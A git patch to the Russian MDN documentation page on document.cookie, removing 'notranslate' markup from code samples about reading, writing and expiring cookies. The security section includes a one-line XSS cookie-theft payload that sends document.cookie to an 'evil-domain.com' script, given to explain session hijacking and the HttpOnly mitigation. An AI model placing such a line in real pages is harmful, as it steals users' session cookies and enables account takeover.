From 980fe00a74a9ad013b945755415ace2e5429c3c2 Mon Sep 17 00:00:00 2001 From: Alexey Pyltsyn Date: Wed, 27 Oct 2021 02:31:24 +0300 Subject: [RU] Remove notranslate (#2874) --- files/ru/web/api/document/cookie/index.html | 42 ++++++++++++++--------------- 1 file changed, 21 insertions(+), 21 deletions(-) (limited to 'files/ru/web/api/document/cookie') diff --git a/files/ru/web/api/document/cookie/index.html b/files/ru/web/api/document/cookie/index.html index fa6153145c..4d8ddfdc83 100644 --- a/files/ru/web/api/document/cookie/index.html +++ b/files/ru/web/api/document/cookie/index.html @@ -17,13 +17,13 @@ translation_of: Web/API/Document/cookie

Чтение всех cookies, связанных с текущим документом

-
allCookies = document.cookie;
+
allCookies = document.cookie;

In the code above allCookies is a string containing a semicolon-separated list of all cookies (i.e. key=value pairs). Note that each key and value may be surrounded by whitespace (space and tab characters): in fact RFC 6265 mandates a single space after each semicolon, but some user agents may not abide by this.

- +

В приведённом коде newCookie - строка в виде key=value. Заметьте, у вас есть возможность установить/обновить лишь одну связку key=value за один раз, используя этот метод.  Стоит отметить, что:

@@ -86,21 +86,21 @@ translation_of: Web/API/Document/cookie

Пример #1: Простое использование

-
document.cookie = "name=oeschger";
+
document.cookie = "name=oeschger";
 document.cookie = "favorite_food=tripe";
 function alertCookie() {
   alert(document.cookie);
 }
 
-
<button onclick="alertCookie()">Show cookies</button>
+
<button onclick="alertCookie()">Show cookies</button>
 

{{EmbedLiveSample('Пример_1_Простое_использование', 200, 36)}}

-
document.cookie = "test1=Hello";
+
document.cookie = "test1=Hello";
 document.cookie = "test2=World";
 
 var cookieValue = document.cookie.replace(/(?:(?:^|.*;\s*)test2\s*\=\s*([^;]*).*$)|^.*$/, "$1");
@@ -110,7 +110,7 @@ function alertCookieValue() {
 }
 
-
<button onclick="alertCookieValue()">Show cookie value</button>
+
<button onclick="alertCookieValue()">Show cookie value</button>

{{EmbedLiveSample('Пример_2_Получить_cookie_с_именем_test2', 200, 36)}}

@@ -118,30 +118,30 @@ function alertCookieValue() {

При использовании следующего кода замените все вхождения doSomethingOnlyOnce (наименование cookie) на другое имя.

-
function doOnce() {
+
function doOnce() {
   if (document.cookie.replace(/(?:(?:^|.*;\s*)doSomethingOnlyOnce\s*\=\s*([^;]*).*$)|^.*$/, "$1") !== "true") {
     alert("Do something here!");
     document.cookie = "doSomethingOnlyOnce=true; expires=Fri, 31 Dec 9999 23:59:59 GMT";
   }
 }
-
<button onclick="doOnce()">Only do something once</button>
+
<button onclick="doOnce()">Only do something once</button>

{{EmbedLiveSample('Пример_3_Выполнить_операцию_единожды', 200, 36)}}

-
function resetOnce() {
+
function resetOnce() {
   document.cookie = "doSomethingOnlyOnce=; expires=Thu, 01 Jan 1970 00:00:00 GMT";
 }
-
<button onclick="resetOnce()">Reset only once cookie</button>
+
<button onclick="resetOnce()">Reset only once cookie</button>

{{EmbedLiveSample('Пример_4_Перезагрузить_cookie', 200, 36)}}

-
//ES5
+
//ES5
 
 if (document.cookie.split(';').filter(function(item) {
     return item.trim().indexOf('reader=') == 0
@@ -157,7 +157,7 @@ if (document.cookie.split(';').filter((item) => item.trim().startsWith('reade
 
 
 
-
//ES5
+
//ES5
 
 if (document.cookie.split(';').filter(function(item) {
     return item.indexOf('reader=1') >= 0
@@ -177,7 +177,7 @@ if (document.cookie.split(';').filter((item) => item.includes('reader=1')).le
 
 

Cookies are often used in web application to identify a user and their authenticated session. So stealing cookie from a web application, will lead to hijacking the authenticated user's session. Common ways to steal cookies include using Social Engineering or by exploiting an XSS vulnerability in the application -

-
(new Image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie;
+
(new Image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie;
 

The HTTPOnly cookie attribute can help to mitigate this attack by preventing access to cookie value through Javascript. Read more about Cookies and Security.

@@ -195,7 +195,7 @@ if (document.cookie.split(';').filter((item) => item.includes('reader=1')).le -
HTTP/1.0 200 OK
+
HTTP/1.0 200 OK
 Content-type: text/html
 Set-Cookie: cookie_name1=cookie_value1
 Set-Cookie: cookie_name2=cookie_value2; expires=Sun, 16 Jul 3567 06:23:41 GMT
@@ -204,7 +204,7 @@ Set-Cookie: cookie_name2=cookie_value2; expires=Sun, 16 Jul 3567 06:23:41 GMT
 
 
The client sends back to the server its cookies previously stored
-
GET /sample_page.html HTTP/1.1
+
GET /sample_page.html HTTP/1.1
 Host: www.example.org
 Cookie: cookie_name1=cookie_value1; cookie_name2=cookie_value2
 Accept: */*
@@ -216,7 +216,7 @@ Accept: */*
 
 
Library
-
/*\
+
/*\
 |*|
 |*|  :: Translate relative paths to absolute paths ::
 |*|
@@ -239,7 +239,7 @@ function relPathToAbs (sRelPath) {
 
 
Sample usage
-
/* Let us be in /en-US/docs/Web/API/document.cookie */
+
/* Let us be in /en-US/docs/Web/API/document.cookie */
 
 alert(location.pathname);
 // displays: /en-US/docs/Web/API/document.cookie
@@ -260,7 +260,7 @@ alert(relPathToAbs("../Guide/././API/../../../Firefox"));
 
 

If you don't want to use an absolute date for the end parameter, here you can find some numeric examples of expiration-dates relative to the moment of storage of the cookie:

-
docCookies.setItem("mycookie1", "myvalue1", 864e2, "/"); // this cookie will expire in one DAY
+
docCookies.setItem("mycookie1", "myvalue1", 864e2, "/"); // this cookie will expire in one DAY
 docCookies.setItem("mycookie2", "myvalue2", 6048e2, "/"); // this cookie will expire in one WEEK
 docCookies.setItem("mycookie3", "myvalue3", 2592e3, "/"); // this cookie will expire in one MONTH (30 days)
 docCookies.setItem("mycookie4", "myvalue4", 31536e3, "/"); // this cookie will expire in one YEAR
@@ -271,7 +271,7 @@ docCookies.setItem("mycookie4", "myvalue4", 31536e3, "/"); // this cookie will e

Библиотека

-
function executeOnce () {
+
function executeOnce () {
   var argc = arguments.length, bImplGlob = typeof arguments[argc - 1] === "string";
   if (bImplGlob) { argc++; }
   if (argc < 3) { throw new TypeError("executeOnce - not enough arguments"); }
@@ -286,7 +286,7 @@ docCookies.setItem("mycookie4", "myvalue4", 31536e3, "/"); // this cookie will e
 
 

Синтаксис

-
executeOnce(callback[, thisObject[, argumentToPass1[, argumentToPass2[, …[, argumentToPassN]]]]], identifier[, onlyHere])
+
executeOnce(callback[, thisObject[, argumentToPass1[, argumentToPass2[, …[, argumentToPassN]]]]], identifier[, onlyHere])

Описание

@@ -309,7 +309,7 @@ docCookies.setItem("mycookie4", "myvalue4", 31536e3, "/"); // this cookie will e

Примеры использования

-
function alertSomething (sMsg) {
+
function alertSomething (sMsg) {
   alert(sMsg);
 }
 
-- 
cgit v1.2.3-54-g00ecf